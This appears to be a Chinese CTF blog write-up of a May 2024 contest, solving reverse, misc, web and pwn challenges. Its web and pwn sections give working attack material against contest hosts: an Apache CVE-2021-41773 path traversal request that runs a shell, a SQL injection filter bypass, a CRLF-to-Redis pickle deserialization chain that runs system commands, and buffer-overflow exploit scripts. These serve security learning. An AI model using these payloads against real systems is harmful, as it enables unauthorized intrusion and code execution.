比赛时间:2024-05-06

# Re-easyre

基本的 base64 换表,用 CyberChef 解密

# 图片.png

# Re-babyre

进入主函数,发现输入四次 看一下就知道是大数求解
(当初写的时候差不多 不知道为什么第四个总是算错…)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
from z3 import *

s = Solver() # 设置一个解方程的类Solver(必须要设置)

v5=BitVec('v5',32)
v6=BitVec('v6',32)
v7=BitVec('v7',32)
v8=BitVec('v8',32)

s.add(v5 + 1380855784 == 907301700)

s.add((v6 | 0x8E03BEC3) - 3 * (v6 & 0x71FC413C) + v6 == -1876131848)

s.add(v7<=0x10000000)
s.add(4 * ((~v7 & 0xA8453437) + 2 * ~(~v7 | 0xA8453437))
+ -3 * (~v7 | 0xA8453437)
+ 3 * ~(v7 | 0xA8453437)
- (-10 * (v7 & 0xA8453437)
+ (v7 ^ 0xA8453437)) == 551387557)

s.add(v8<=0x10000000)
s.add(11 * ~(v8 ^ 0xE33B67BD)
+ 4 * ~(~v8 | 0xE33B67BD)
- (6 * (v8& 0xE33B67BD)
+ 12 * ~(v8 | 0xE33B67BD))
+ 3 * (v8 & 0xD2C7FC0C)
+ -5 * v8
- 2 * ~(v8 | 0xD2C7FC0C)
+ ~(v8 | 0x2D3803F3)
+ 4 * (v8 & 0x2D3803F3)
- -2 * (v8 | 0x2D3803F3) == -837785892)

print(s.check())#check是保证有解
answer=s.model()#model是输出运算结果
print(answer)

data=[3821413212,98124621,78769651,67321987]
print('flag{'+'%08x-'%data[0]+'%08x-'%data[1]+'%08x-'%data[2]+'%08x'%data[3]+'}')

#flag{e3c6235c-05d9434d-04b1edf3-04034083}

# Misc - 签到

一张 GIF 图,拖到 pr 里面一帧一帧看,第一帧是:Flag is the ROT13 of …
之后的每一帧合并起来就是:

1
synt{jrypbzr-gb-pbzcrgvgvba}

然后通过 ROT13 解密,得到 flag:

1
flag{welcome-to-competition} 

# Misc-easyshell(复现)

冰蝎这个 webShell 的流量分析,推测是冰蝎 3.0,使用默认密码 rebeyond 的 md5 加密然后取前 16 位作为 key 进行 AES 解密,或者直接通过 ( https://github.com/melody27/behinder_decrypt ) 进行解密:

1
python3 py_decrypt.py -f easyshell.pcap | tee result

获得相应的请求和响应的内容。
通过如下两个命令分别提取文件的信息:

1
2
cat result | grep {\"msg\":\"
cat result | grep $mode=\"ZG93bmxvYWRQYXJ0\";

之后能够获取到一个压缩包,之后通过创建一个 CRC 值与获取的压缩包 CRC 值相同的 zip 包,然后进行明文攻击,最后获得 flag:

1
flag{70854278-ea0c-462e-bc18-468c7a04a505}

# Misc-Gateway(复现)

在附件 baseinfoSet.json 中有个 “baseinfoSet_TELECOMPASSWORD”: “106&112&101&107&127&101&104&49&57&56&53&56&54&56&49&51&51&105&56&103&106&49&56&50&5 6&103&102&56&52&101&104&102&105&53&101&53&102&129&”,
在网上搜索 baseinfoSet_TELECOMPASSWORD 存在解密脚本,直接解密得到 flag:

1
flag{ad1985868133e8cf1828cb84adbe5a5b}
1
2
3
4
5
6
7
8
code='106&112&101&107&127&101&104&49&57&56&53&56&54&56&49&51&51&105&56&103&106&49&56&50&56&103&102&56&52&101&104&102&105&53&101&53&102&129&'[:-1]    # "baseinfoSet_TELECOMPASSWORD":"114&73&55&110&69&37&53&113&"
list=map(int,code.split('&'))
result=[]
for i in list:
if i > 57:
i-=4
result.append(chr(i))
print (''.join(result))

# Misc-Apache(复现)

在博客里直接搜索 httpd:2.4.49-buster 漏洞 可知,有个 CVE-2021-41773 的路径穿越漏洞,相关连接如下 Apache HTTP Server 路径穿越漏洞复现 (CVE-2021-41773)-CSDN 博客
所以根据 python 的源码,构造如下的包:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
POST /nc HTTP/2
Host: prob01-8k743yxw.contest.pku.edu.cn
Content-Length: 470
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW

------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="port"

80
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="data"

POST /cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh HTTP/1.1
Host: aaaa
User-Agent: curl/7.68.0
Accept: */*
Content-Length: 45
Content-Type: application/x-www-form-urlencoded

echo Content-Type:text/plain; echo; cat /flag;


------WebKitFormBoundary7MA4YWxkTrZu0gW--

通过 burp 发包得到 flag:

1
flag{wHaTaaPaCheRcE}

# Web-phpsql

题目开始是个登陆框,根据题目,应该是个 sql 注入,先注册账号,然后登陆注册的账号看看情况,出现一个弹窗,表示只有 admin 才能拿到一些内容,那么猜测应该是万能密码登陆 admin 账号。
image.png
当 payload 为 1’ or 1=1 # 的时候,回显是 hacker,多次尝试之后,发现只过滤了空格,内联注释绕过,构造 payload 为:1’//Or//1//like//1/**/# 成功绕过,在经过两次离谱的弹窗之后,成功拿到 flag:

1
flag{KTFoYJlPMrqDW6fBGwGG}

# Web-pyssrf(复现)

访问 source 路由,拿到 python 源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
from flask import Flask,request
from redis import Redis
import hashlib
import pickle
import base64
import urllib
app = Flask(__name__)
redis = Redis(host='127.0.0.1', port=6379)

def get_result(url):
url_key=hashlib.md5(url.encode()).hexdigest()
res=redis.get(url_key)
if res:
return pickle.loads(base64.b64decode(res))
else:
try:
print(url)
info = urllib.request.urlopen(url)
res = info.read()
pickres=pickle.dumps(res)
b64res=base64.b64encode(pickres)
redis.set(url_key,b64res,ex=300)
return res
except urllib.error.URLError as e:
print(e)


@app.route('/')
def hello():
url = request.args.get("url")
return '''<h1>give me your url via GET method like: ?url=127.0.0.1:8080<h1>
<h2>Here is your result</h2>
<h3>source code in /source</h3>
%s
''' % get_result('http://'+url).decode(encoding='utf8',errors='ignore')

@app.route('/source')
def source():
return

看上去是一个 pickle 反序列化加上 ssrf 的洞,具体啥原理还不是很懂,先写下参考地址:漏洞是叫 CRLF 编号为 CVE 2019-9947,参考资料可以是
Python urllib CRLF 注入漏洞小结_urllib crlf 漏洞 - CSDN 博客
首先是构造 key 值:
md5(‘http://1’)=22d474190b1889d3373fa4f9334e979c
** 用脚本构造 pickle 的反序列数据 ** :

1
2
3
4
5
import base64 
a=b'''cos system
(S'command here'
tR.'''
print(base64.b64encode(a))

因为采用的是 flask 框架,最简单获得回显的方式就是写文件到静态目录

1
2
3
4
5
6
import base64
a=b'''cos
system
(S'mkdir static'
tR.'''
print(base64.b64encode(a))

再将 flag 的内容重定向到 static/1.txt 中

1
2
3
4
5
6
import base64
a=b'''cos
system
(S'cat /flag>static/1.txt'
tR.'''
print(base64.b64encode(a))

所以,payload 依次为:
写入 redis 内缓存,创建静态目录 static

/?url=127.0.0.1:6379?%0d%0a%0d%0aSET%2022d474190b1889d3373fa4f9334e979c%20%22Y29zCnN5c3RlbQooUydta2Rp
ciBzdGF0aWMnCnRSLg%3d%3d%22%0d%0apaddins

缓存之后触发反序列化:

/?url=1

读取 flag,并重定向到 /static/1.txt 内:

/?url=127.0.0.1:6379?%0d%0a%0d%0aSET%2022d474190b1889d3373fa4f9334e979c%20%22Y29zCnN5c3RlbQooUydjYXQg
L2ZsYWc%2bc3RhdGljLzEudHh0Jwp0Ui4%3d%22%0d%0apaddins

缓存之后触发反序列化:

/?url=1

之后访问 /static/1.txt 拿到 flag:

1
flag{qtRqiLrtTp6hoN2RPMti}

# Pwn-babypwn

(这个题不知为啥,有种莫名奇妙的感觉,本地无论几次都不同,远程就能通)
查看开启的保护:

1
2
3
4
5
6
7
8
9
root@g01den-virtual-machine:/mnt/shared# checksec pwn
[*] '/mnt/shared/pwn'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX unknown - GNU_STACK missing
PIE: No PIE (0x400000)
Stack: Executable
RWX: Has RWX segments

反编译之后,找到漏洞函数 login ():

1
2
3
4
5
6
7
8
9
10
11
12
13
__int64 login()
{
int v0; // ebx
char buf[32]; // [rsp+0h] [rbp-50h] BYREF
char s1[40]; // [rsp+20h] [rbp-30h] BYREF

printf("Enter your username: ");
read(0, buf, 0x40uLL);
printf("Enter the password: ");
read(0, s1, 0x40uLL);
v0 = strcmp(buf, "root");
return v0 | (unsigned int)strcmp(s1, "!@#$%^&*()_+");
}

并且,存在后门函数 sub_401176,地址为 0x401176,所以,根据 gdb 调试,得知缓冲区加上 ebp 的大小为 120 字节,所以 exp 如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
from pwn import *
#io = process("./pwn")
io = remote('prob07.contest.pku.edu.cn',10007)
context.log_level = 'debug'
backdoor = 0x40117a #不知道为啥,这里如果是0x401176的话,打不通
token = b"502:MEUCIQCSKqRJcp-PqKLApv7lBRVleK1e5RKveCEC5QmjJ0OONQIgRVfKZtoZoiGXf4sDyUDuFG0Uf0DLCPGdYFAkCEYMvw4="
io.sendline(token)
io.recvuntil(b'Enter your username: ')
payload = b'a'*120 + p64(backdoor)
io.sendline(payload)
io.recv()
io.interactive()

最后 flag 为:

1
flag{kooD1EijiemeePh8ieNei2Xol8ich5DE}

# Pwn-Login

没有附件 nc 连上多测试几次就会知道 password 多输几个字符就会输出二进制文件
图片.png 多试试 0x28 个字符时能接收到正确的文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
from pwn import *
import os

io = remote("prob04.contest.pku.edu.cn", 10004)
context.log_level = "debug"

io.sendlineafter("token: ", b'502:MEUCIQCSKqRJcp-PqKLApv7lBRVleK1e5RKveCEC5QmjJ0OONQIgRVfKZtoZoiGXf4sDyUDuFG0Uf0DLCPGdYFAkCEYMvw4=')

io.sendlineafter('Username', "admin\x00")

io.sendlineafter('Password', b'a'*(0x28))

io.recvuntil('dumped\n')
key = io.recvall()

fp = open('att', 'wb')
fp.write(key)

os.system('chmod 777 att')


io.interactive()

att.pdf(zip)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
__int64 login()
{
char s1[48]; // [rsp+0h] [rbp-90h] BYREF
char s[95]; // [rsp+30h] [rbp-60h] BYREF
unsigned __int8 v3; // [rsp+8Fh] [rbp-1h]

v3 = 0;
memset(s, 0, 0x50uLL);
memset(s1, 0, 0x28uLL);
printf("Username: ");
fgets(s, 80, stdin);
if ( s[0x14] )
{
puts("Username too long");
return 0LL;
}
else
{
printf("Password: ");
fgets(s1, 0x320, stdin);
if ( !strcmp(s, "admin\n") && !strcmp(s1, "1q2w3e4r\n") )
{
puts("Login successful, welcome admin");
v3 = 1;
}
else
{
puts("Login failed");
v3 = 0;
}
if ( s1[0x28] )
{
puts("Stack smashing detected");
overflow_detected = 1;
return 0LL;
}
else
{
return v3;
}
}
}

溢出,返回到后门函数
exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from pwn import *
import os

io = remote("prob04.contest.pku.edu.cn", 10004)
context.log_level = "debug"

io.sendlineafter("token: ", b'502:MEUCIQCSKqRJcp-PqKLApv7lBRVleK1e5RKveCEC5QmjJ0OONQIgRVfKZtoZoiGXf4sDyUDuFG0Uf0DLCPGdYFAkCEYMvw4=')

payload = b'1q2w3e4r'
payload = payload.ljust(0x98, b'\x00') + p64(0x40127e)
io.sendlineafter('Username', "admin\x00")
io.sendlineafter("Password", payload)

io.interactive()

# flag{loGiN_SuccESs_cOnGratUlatION}
更新于

请我喝[茶]~( ̄▽ ̄)~*

g01den 微信支付

微信支付

g01den 支付宝

支付宝

g01den 贝宝

贝宝